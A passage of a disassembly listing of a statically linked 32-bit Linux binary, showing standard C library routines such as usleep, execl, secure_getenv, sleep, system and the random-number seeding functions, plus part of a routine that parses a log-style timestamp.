		jz	short loc_8055431
		cmp	byte ptr [ebx+2], 3Eh
		jnz	short loc_80553FC
		add	ebx, 3
		jmp	short loc_8055431
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80553FC:				; CODE XREF: sub_80553A0+55j
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_8055431
		cmp	byte ptr [ebx+3], 3Eh
		jnz	short loc_8055418
		add	ebx, 4
		jmp	short loc_8055431
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055418:				; CODE XREF: sub_80553A0+70j
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_8055431
		cmp	byte ptr [ebx+4], 3Eh
		jnz	short loc_8055431
		add	ebx, 5

loc_8055431:				; CODE XREF: sub_80553A0+3Fj
					; sub_80553A0+4Fj ...
		movzx	eax, byte ptr [ebx]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_80554E8
		movzx	eax, byte ptr [ebx+1]
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_80554E8
		movzx	eax, byte ptr [ebx+2]
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_80554E8
		cmp	byte ptr [ebx+3], 20h
		jnz	short loc_80554E8
		cmp	byte ptr [ebx+4], 20h
		jz	short loc_805547A
		movzx	eax, byte ptr [ebx+4]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8

loc_805547A:				; CODE XREF: sub_80553A0+CDj
		movzx	eax, byte ptr [ebx+5]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+6], 20h
		jnz	short loc_80554E8
		movzx	eax, byte ptr [ebx+7]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		movzx	eax, byte ptr [ebx+8]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+9], 3Ah
		jnz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Ah]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Bh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+0Ch], 3Ah
		jnz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Dh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Eh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+0Fh], 20h
		jnz	short loc_80554E8
		add	ebx, 10h

loc_80554E8:				; CODE XREF: sub_80553A0+9Fj
					; sub_80553A0+AEj ...
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		sub	esi, eax
		mov	[ebp+var_4], esi
		mov	eax, esi
		dec	eax
		cmp	edi, eax
		jl	short loc_8055514
		push	eax
		push	ebx
		mov	esi, [ebp+arg_8]
		push	esi
		call	bcopy
		mov	esi, [ebp+var_4]
		mov	byte ptr [ebx+esi-1], 0
		jmp	loc_80555A4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055514:				; CODE XREF: sub_80553A0+15Aj
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		push	ebx
		call	sub_8056450
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80555A4
		mov	esi, [ebp+var_4]
		lea	eax, [ebx+esi-1]
		sub	eax, edi
		mov	byte ptr [eax],	0
		push	0
		push	ebx
		call	strchr
		mov	ecx, eax
		add	esp, 8
		cmp	ecx, ebx
		jb	short loc_8055599
		lea	edx, [ebx-1]
		mov	eax, edx
		sub	eax, ecx
		and	eax, 3
		cmp	ecx, edx
		jle	short loc_805556B
		test	eax, eax
		jz	short loc_8055578
		cmp	eax, 3
		jge	short loc_805556B
		cmp	eax, 2
		jge	short loc_8055565
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx

loc_8055565:				; CODE XREF: sub_80553A0+1BDj
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx

loc_805556B:				; CODE XREF: sub_80553A0+1AFj
					; sub_80553A0+1B8j
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx
		cmp	ecx, ebx
		jb	short loc_8055599
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8055578:				; CODE XREF: sub_80553A0+1B3j
					; sub_80553A0+1F7j
		mov	al, [ecx]
		mov	[edi+ecx], al
		mov	al, [ecx-1]
		mov	[edi+ecx-1], al
		mov	al, [ecx-2]
		mov	[edi+ecx-2], al
		mov	al, [ecx-3]
		mov	[edi+ecx-3], al
		add	ecx, 0FFFFFFFCh
		cmp	ecx, ebx
		jnb	short loc_8055578

loc_8055599:				; CODE XREF: sub_80553A0+1A1j
					; sub_80553A0+1D3j
		push	edi
		push	ebx
		mov	esi, [ebp+arg_8]
		push	esi
		call	bcopy

loc_80555A4:				; CODE XREF: sub_80553A0+Dj
					; sub_80553A0+17j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80553A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

usleep		proc near		; CODE XREF: main+5B5p	main+D89p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, 0F4240h
		xor	edx, edx
		div	ecx
		mov	[ebp+var_8], eax
		mov	edx, eax
		shl	edx, 5
		sub	edx, eax
		mov	eax, edx
		shl	eax, 6
		sub	eax, edx
		shl	eax, 3
		add	eax, [ebp+var_8]
		shl	eax, 6
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		lea	eax, [ebp+var_8]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		push	0		; readfds
		push	1		; n
		call	select
		mov	esp, ebp
		pop	ebp
		retn
usleep		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

execl		proc near		; CODE XREF: main+975p

var_8004	= dword	ptr -8004h
var_8000	= dword	ptr -8000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8000h
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8000],	eax
		lea	ecx, [ebp+arg_8]
		mov	edx, 1
		test	eax, eax
		jz	short loc_805564A
		lea	esi, [esi]

loc_8055620:				; CODE XREF: execl+4Cj
		cmp	edx, 1FFFh
		jbe	short loc_8055630
		mov	eax, 7
		jmp	short loc_805565D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055630:				; CODE XREF: execl+2Aj
		add	ecx, 4
		mov	eax, [ecx-4]
		mov	[ebp+edx*4+var_8000], eax
		mov	eax, edx
		inc	edx
		cmp	[ebp+eax*4+var_8000], 0
		jnz	short loc_8055620

loc_805564A:				; CODE XREF: execl+20j
		mov	eax, __environ
		push	eax
		lea	eax, [ebp+var_8000]
		push	eax
		push	ebx
		call	execve

loc_805565D:				; CODE XREF: execl+31j
		mov	ebx, [ebp+var_8004]
		mov	esp, ebp
		pop	ebp
		retn
execl		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

secure_getenv	proc near		; CODE XREF: init_services_resolv+22p
					; init_services_resolv+A63p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	edi, [eax-1]
		mov	ebx, __environ
		cmp	dword ptr [ebx], 0
		jz	short loc_80556B8
		nop

loc_8055690:				; CODE XREF: secure_getenv+4Ej
		push	edi
		push	esi
		mov	eax, [ebx]
		push	eax
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_80556B0
		mov	eax, [ebx]
		cmp	byte ptr [edi+eax], 3Dh
		jnz	short loc_80556B0
		lea	eax, [edi+1]
		add	eax, [ebx]
		jmp	short loc_80556BA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80556B0:				; CODE XREF: secure_getenv+37j
					; secure_getenv+3Fj
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_8055690

loc_80556B8:				; CODE XREF: secure_getenv+25j
		xor	eax, eax

loc_80556BA:				; CODE XREF: secure_getenv+46j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
secure_getenv	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80556C4	proc near		; DATA XREF: sleep+3Do
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_80556C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sleep		proc near		; CODE XREF: main+48Ap	main+9C9p ...

var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ecx, __errno
		mov	[ebp+var_30], ecx
		test	edi, edi
		jnz	short loc_80556EC
		xor	eax, eax
		jmp	loc_80557DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80556EC:				; CODE XREF: sleep+17j
		mov	[ebp+var_24], 2000h
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	0
		call	sigprocmask
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8055734
		mov	[ebp+var_10], offset sub_80556C4
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	0Eh
		call	sigaction
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_805573C

loc_8055734:				; CODE XREF: sleep+3Bj
		mov	eax, edi
		jmp	loc_80557DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805573C:				; CODE XREF: sleep+66j
		push	0
		call	time
		mov	[ebp+var_2C], eax
		push	edi
		call	alarm
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_8055784
		cmp	ebx, edi
		jnb	short loc_8055784
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	0Eh
		call	sigaction
		push	ebx
		call	alarm
		lea	eax, [ebp+var_28]
		push	eax
		call	sigsuspend
		push	0
		call	time
		mov	esi, eax
		add	esp, 18h
		jmp	short loc_80557A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055784:				; CODE XREF: sleep+87j	sleep+8Bj
		lea	eax, [ebp+var_28]
		push	eax
		call	sigsuspend
		push	0
		call	time
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	0Eh
		call	sigaction
		add	esp, 14h

loc_80557A6:				; CODE XREF: sleep+B5j
		mov	eax, esi
		sub	eax, [ebp+var_2C]
		xor	esi, esi
		cmp	eax, edi
		ja	short loc_80557B5
		mov	esi, edi
		sub	esi, eax

loc_80557B5:				; CODE XREF: sleep+E3j
		xor	edx, edx
		cmp	eax, ebx
		ja	short loc_80557BF
		mov	edx, ebx
		sub	edx, eax

loc_80557BF:				; CODE XREF: sleep+EDj
		push	edx
		call	alarm
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		push	2
		call	sigprocmask
		mov	ecx, [ebp+var_30]
		mov	__errno, ecx
		mov	eax, esi

loc_80557DD:				; CODE XREF: sleep+1Bj	sleep+6Aj
		lea	esp, [ebp+var_3C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sleep		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

system		proc near		; CODE XREF: main+4DDp	main+A18p

var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jnz	short loc_8055804
		mov	eax, 1
		jmp	loc_8055993
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055804:				; CODE XREF: system+Ej
		mov	[ebp+var_10], 1
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	2
		call	sigaction
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_80558AA
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	3
		call	sigaction
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8055858
		mov	ebx, __errno
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		jmp	short loc_805589F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055858:				; CODE XREF: system+5Bj
		mov	[ebp+var_34], 10000h
		mov	ebx, __errno
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		call	sigprocmask
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_80558BA
		cmp	__errno, 26h
		jz	short loc_80558B4
		mov	ebx, __errno
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		call	sigaction
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		push	3

loc_805589F:				; CODE XREF: system+6Bj
		call	sigaction
		mov	__errno, ebx

loc_80558AA:				; CODE XREF: system+45j system+19Cj
		mov	eax, 0FFFFFFFFh
		jmp	loc_8055993
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80558B4:				; CODE XREF: system+9Aj
		mov	__errno, ebx

loc_80558BA:				; CODE XREF: system+91j
		call	fork
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_8055924
		mov	[ebp+var_48], offset aSh_0 ; "sh"
		mov	[ebp+var_44], offset aC_0 ; "-c"
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], 0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		call	sigaction
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		push	3
		call	sigaction
		push	0
		lea	eax, [ebp+var_38]
		push	eax
		push	2
		call	sigprocmask
		add	esp, 24h
		mov	eax, __environ
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	offset aBinSh_0	; "/bin/sh"
		call	execve
		push	7Fh
		call	_exit
		lea	esi, [esi]

loc_8055924:				; CODE XREF: system+DBj
		test	ebx, ebx
		jl	short loc_805593B
		push	0
		lea	eax, [ebp+var_4C]
		push	eax
		push	ebx
		call	wait4
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_8055942

loc_805593B:				; CODE XREF: system+13Ej
		mov	[ebp+var_4C], 0FFFFFFFFh

loc_8055942:				; CODE XREF: system+151j
		mov	ebx, __errno
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		call	sigaction
		mov	edi, eax
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		push	3
		call	sigaction
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_38]
		push	eax
		push	2
		call	sigprocmask
		mov	edx, eax
		mov	eax, edi
		or	eax, esi
		or	eax, edx
		jz	short loc_8055990
		cmp	__errno, 26h
		jnz	loc_80558AA
		mov	__errno, ebx

loc_8055990:				; CODE XREF: system+193j
		mov	eax, [ebp+var_4C]

loc_8055993:				; CODE XREF: system+15j system+C7j
		lea	esp, [ebp+var_58]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
system		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

__srandom	proc near		; CODE XREF: main+120p	main+304p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	eax, dword_8078958
		mov	[eax], edx
		cmp	dword_807895C, 0
		jz	loc_8055BB0
		mov	esi, 1
		cmp	dword_8078960, esi
		jle	loc_8055B74
		mov	edi, dword_8078958
		mov	eax, dword_8078960
		dec	eax
		and	eax, 3
		cmp	dword_8078960, esi
		jle	short loc_8055A5D
		test	eax, eax
		jz	loc_8055A9C
		cmp	eax, 1
		jle	short loc_8055A5D
		cmp	eax, 2
		jle	short loc_8055A2C
		mov	ecx, [edi+esi*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+4], eax
		mov	esi, 2

loc_8055A2C:				; CODE XREF: __srandom+55j
		mov	ecx, [edi+esi*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+esi*4], eax
		inc	esi

loc_8055A5D:				; CODE XREF: __srandom+43j
					; __srandom+50j
		mov	ecx, [edi+esi*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+esi*4], eax
		inc	esi
		cmp	dword_8078960, esi
		jle	loc_8055B74
		lea	esi, [esi]

loc_8055A9C:				; CODE XREF: __srandom+47j
					; __srandom+1CEj
		mov	ecx, [edi+esi*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+esi*4], eax
		lea	ebx, [esi+1]
		mov	ecx, [edi+ebx*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+ebx*4], eax
		lea	ebx, [esi+2]
		mov	ecx, [edi+ebx*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+ebx*4], eax
		lea	ebx, [esi+3]
		mov	ecx, [edi+ebx*4-4]
		lea	edx, [ecx+ecx*2]
		shl	edx, 8
		add	edx, ecx
		lea	edx, [edx+edx*4]
		mov	eax, edx
		shl	eax, 0Ah
		add	edx, eax
		lea	edx, [ecx+edx*2]
		lea	eax, ds:0[edx*8]
		sub	eax, edx
		lea	eax, [ecx+eax*4]
		lea	eax, [eax+eax*4]
		add	eax, 3039h
		mov	[edi+ebx*4], eax
		add	esi, 4
		cmp	dword_8078960, esi
		jg	loc_8055A9C

loc_8055B74:				; CODE XREF: __srandom+28j
					; __srandom+F4j
		mov	ebx, dword_8078964
		lea	eax, ds:0[ebx*4]
		add	eax, dword_8078958
		mov	dword_8078950, eax
		mov	eax, dword_8078958
		mov	dword_8078954, eax
		xor	esi, esi
		jmp	short loc_8055BA2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055B9C:				; CODE XREF: __srandom+20Ej
		call	__random
		inc	esi

loc_8055BA2:				; CODE XREF: __srandom+1F8j
		mov	eax, dword_8078960
		lea	edx, [eax+eax*8]
		add	edx, eax
		cmp	esi, edx
		jl	short loc_8055B9C

loc_8055BB0:				; CODE XREF: __srandom+17j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
__srandom	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8055BBC	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	ebx, dword_8078958
		add	ebx, 0FFFFFFFCh
		cmp	dword_807895C, 0
		jnz	short loc_8055BE8
		mov	eax, dword_8078958
		mov	dword ptr [eax-4], 0
		jmp	short loc_8055C04
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055BE8:				; CODE XREF: sub_8055BBC+1Cj
		mov	edx, dword_8078958
		mov	eax, dword_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, dword_807895C
		mov	[edx-4], eax

loc_8055C04:				; CODE XREF: sub_8055BBC+2Aj
		cmp	ecx, 1Fh
		ja	short loc_8055C44
		cmp	ecx, 7
		ja	short loc_8055C20
		mov	__errno, 16h
		xor	eax, eax
		jmp	loc_8055D2E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055C20:				; CODE XREF: sub_8055BBC+50j
		mov	dword_807895C, 0
		mov	dword_8078960, 0
		mov	dword_8078964, 0
		jmp	loc_8055CCE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055C44:				; CODE XREF: sub_8055BBC+4Bj
		cmp	ecx, 3Fh
		ja	short loc_8055C6C
		mov	dword_807895C, 1
		mov	dword_8078960, 7
		mov	dword_8078964, 3
		jmp	short loc_8055CCE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055C6C:				; CODE XREF: sub_8055BBC+8Bj
		cmp	ecx, 7Fh
		ja	short loc_8055C88
		mov	dword_807895C, 2
		mov	dword_8078960, 0Fh
		jmp	short loc_8055CC4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055C88:				; CODE XREF: sub_8055BBC+B3j
		cmp	ecx, 0FFh
		ja	short loc_8055CB0
		mov	dword_807895C, 3
		mov	dword_8078960, 1Fh
		mov	dword_8078964, 3
		jmp	short loc_8055CCE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055CB0:				; CODE XREF: sub_8055BBC+D2j
		mov	dword_807895C, 4
		mov	dword_8078960, 3Fh

loc_8055CC4:				; CODE XREF: sub_8055BBC+C9j
		mov	dword_8078964, 1

loc_8055CCE:				; CODE XREF: sub_8055BBC+82j
					; sub_8055BBC+ABj ...
		mov	edi, [ebp+arg_4]
		add	edi, 4
		mov	dword_8078958, edi
		mov	edi, dword_8078960
		lea	eax, ds:0[edi*4]
		add	eax, dword_8078958
		mov	dword_8078968, eax
		push	esi
		call	__srandom
		cmp	dword_807895C, 0
		jnz	short loc_8055D10
		mov	eax, dword_8078958
		mov	dword ptr [eax-4], 0
		jmp	short loc_8055D2C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055D10:				; CODE XREF: sub_8055BBC+143j
		mov	edx, dword_8078958
		mov	eax, dword_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, dword_807895C
		mov	[edx-4], eax

loc_8055D2C:				; CODE XREF: sub_8055BBC+151j
		mov	eax, ebx

loc_8055D2E:				; CODE XREF: sub_8055BBC+5Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8055BBC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8055D38	proc near

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx]
		mov	edi, 5
		cdq
		idiv	edi
		mov	ecx, edx
		mov	esi, eax
		mov	edx, dword_8078958
		add	edx, 0FFFFFFFCh
		mov	[ebp+var_4], edx
		cmp	dword_807895C, 0
		jnz	short loc_8055D78
		mov	eax, dword_8078958
		mov	dword ptr [eax-4], 0
		jmp	short loc_8055D94
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055D78:				; CODE XREF: sub_8055D38+2Dj
		mov	edx, dword_8078958
		mov	eax, dword_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, dword_807895C
		mov	[edx-4], eax

loc_8055D94:				; CODE XREF: sub_8055D38+3Bj
		cmp	ecx, 4
		jg	short loc_8055DC0
		test	ecx, ecx
		jl	short loc_8055DC0
		mov	dword_807895C, ecx
		mov	eax, dword_80788A8[ecx*4]
		mov	dword_8078960, eax
		mov	eax, dword_80788BC[ecx*4]
		mov	dword_8078964, eax
		jmp	short loc_8055DD0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055DC0:				; CODE XREF: sub_8055D38+5Fj
					; sub_8055D38+63j
		mov	__errno, 16h
		xor	eax, eax
		jmp	short loc_8055E2C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
